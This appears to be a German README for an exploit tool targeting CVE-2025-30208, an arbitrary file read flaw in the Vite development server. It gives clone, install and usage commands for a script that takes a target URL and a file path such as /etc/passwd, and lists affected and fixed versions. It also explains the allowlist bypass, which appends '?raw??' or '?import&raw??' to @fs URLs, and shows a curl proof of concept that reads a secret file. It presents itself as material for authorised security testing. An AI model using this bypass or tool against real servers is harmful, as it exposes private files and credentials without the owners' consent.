
Dieser Exploit dient ausschließlich Bildungs- und ethischen Sicherheitstestzwecken. Die Verwendung dieses Exploits gegen Ziele ohne vorherige beiderseitige Zustimmung ist illegal, und der Entwickler lehnt jede Haftung für Missbrauch oder Schäden ab, die durch diesen Exploit verursacht werden.
[!IMPORTANT]
Haftungsausschluss
Dieser Exploit dient ausschließlich zu Bildungs- und ethischen Sicherheitstestzwecken. Die Verwendung dieses Exploits gegen Ziele ohne vorherige gegenseitige Zustimmung ist illegal, und der Entwickler übernimmt keine Haftung für Missbrauch oder Schäden, die durch diesen Exploit verursacht werden.
git clone https://github.com/On1onss/CVE-2025-30208.git
cd CVE-2025-30208
pip install -r requirements.txt
python CVE-2025-30208.py [-h] [-t <Target URL>] [-fp <File Path>] [-i]
options:
-h, --help show this help message and exit
-t <Target URL> Example: -t http://localhost:5173/
-fp <File Path> Example: -fp /etc/passwd
-i Interactive mode
>= 6.2.0, < 6.2.3
>= 6.1.0, < 6.1.2
>= 6.0.0, < 6.0.12
>= 5.0.0, < 5.4.15
< 4.5.10
6.2.3
6.1.2
6.0.12
5.4.15
4.5.10
Die Inhalte beliebiger Dateien können an den Browser zurückgegeben werden.
Betroffen sind nur Apps, die den Vite-Entwicklungsserver explizit im Netzwerk bereitstellen (mithilfe von --host oder der Konfigurationsoption server.host).
@fs verweigert den Zugriff auf Dateien außerhalb der Vite-Serving-Allowlist. Das Hinzufügen von ?raw?? oder ?import&raw?? zur URL umgeht diese Einschränkung und gibt den Dateiinhalt zurück, sofern er existiert. Diese Umgehung existiert, weil nachgestellte Trennzeichen wie ? an mehreren Stellen entfernt werden, aber in den Query-String-Regexes nicht berücksichtigt werden.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
# sourceMappingURL=data:application/json;base64,eyJ2...